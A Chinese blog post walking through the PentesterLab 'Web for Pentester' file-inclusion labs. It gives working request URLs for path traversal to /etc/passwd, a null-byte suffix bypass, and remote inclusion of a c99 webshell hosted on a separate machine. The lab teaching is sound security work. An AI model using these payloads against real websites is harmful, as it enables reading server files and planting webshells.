Web_for_Pentester_I之文件包含漏洞

文章详细介绍了Web_for_Pentester平台上关于文件包含漏洞的两个实验示例,包括如何利用不安全的include函数导致本地文件包含(LFI)和远程文件包含(RFI)漏洞,以及如何通过特殊字符和NULL字节绕过文件后缀限制来读取或执行敏感文件,甚至获取webshell。
摘要由CSDN通过智能技术生成

Web_for_Pentester是国外安全研究者开发的一款渗透测试平台,由PentesterLab出品。官方给自己的定义是一个简单又十分有效地学习渗透测试的演练平台。
在很多web应用中,开发者需要在多重页面中通过包含文件来载入基础类或者共享一些模板。
文件包含漏洞是因为在用户控制的变量作为文件名的一部分被传入文件包含函数( php 中有require、require_once、include or include_once等函数)时没有进行严格的过滤。一旦文件传入的方式存在漏洞,攻击者就可能操纵函数加载自己的代码。文件包含漏洞也可以被用来遍历读取任意文件。但是,如果有任意的代码包含开放的PHP标签,这个文件会被作为PHP代码来执行。
文件包含函数可以允许载入本地资源或者远程资源(比如一个web网站)。如果漏洞存在,他将导致:
本地文件包含:简称 LFI,可以读取和执行本地文件。
远程文件包含:简称 RFI,可以获取和执行远程文件。
默认情况下,PHP禁止载入远程文件,关联的配置选项是allow_url_include。在 ISO 中,这个选项被设置为允许能让你测试RFI漏洞。
【实验步骤】
一、Example1
1.1 由File Include Example1的源代码example1.php可知,代码中使用了include()文件包含函数,且对参数没有任何限制。如图1所示
在这里插入图片描述

图 1
1.2 在火狐浏览器地址栏输入http://vulnerable,单击File Include Example1,在其URL后随便添加一个特殊字符(比如单引号),会返回一个错误消息,由错误信息可以准确的得到几条信息,一是这个脚本的路径是/var/www/fileincl/example1.php ,二是这个函数用了include(),三是include()函数包含的文件是intro.php ,且没有多余的东西或有过滤机制。如图2、图3所示
在这里插入图片描述

图 2
在这里插入图片描述

图 3
1.3 在浏览器地址栏输入http://vulnerable/fileincl/example1.php?page=…/…/
…/…/etc/passwd,可以本地包含passwd文件。如图4所示
在这里插入图片描述

图 4
1.4 双击桌面上的wampmanager快捷方式,打开wamp服务器,在浏览器地址栏输入http://vulnerable/fileincl/example1.php?page=http://192.168.1.111/c99.txt,远程包含c99.txt文件,此时就获得了webshell,可以对网站进行一系列的渗透操作。如图5所示
在这里插入图片描述

图 5
二、Example2
2.1 由File Include Example2的源代码example2.php可知,代码中限制了包含的文件后缀名为.php。在这个例子中,php程序会在提供的文件值添加自己的后缀。也和先前的处理方法类似,你可以在LFI中用NULL类型值来摆脱后缀带来的困扰。针对RFI,你还可以通过添加&blah= 或者?blah=绕过后缀问题,这要取决于你遇到的URL形式。在这个示例中,代码模拟的是旧版本的PHP行为。新版本的PHP(5.3.4开始)已经纠正了路径处理问题,并且不会受NULL类型值的影响。如图6所示
在这里插入图片描述

图 6
2.2 在浏览器地址栏输入http://vulnerable/fileincl/example2.php?page=…/…/
…/…/etc/passwd,提示无法打开passwd.php文件。如图7所示
在这里插入图片描述

图 7
2.3 在浏览器地址栏输入http://vulnerable/fileincl/example2.php?page=…/…/
…/…/etc/passwd%00,成功包含passwd文件。如图8所示
在这里插入图片描述

图 8
2.4 开启wamp,在浏览器地址栏输入http://vulnerable/fileincl/example2.php?page=http://192.168.1.111/c99.txt%00,成功包含远程文件c99.txt。如图9所示
在这里插入图片描述

图 9

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值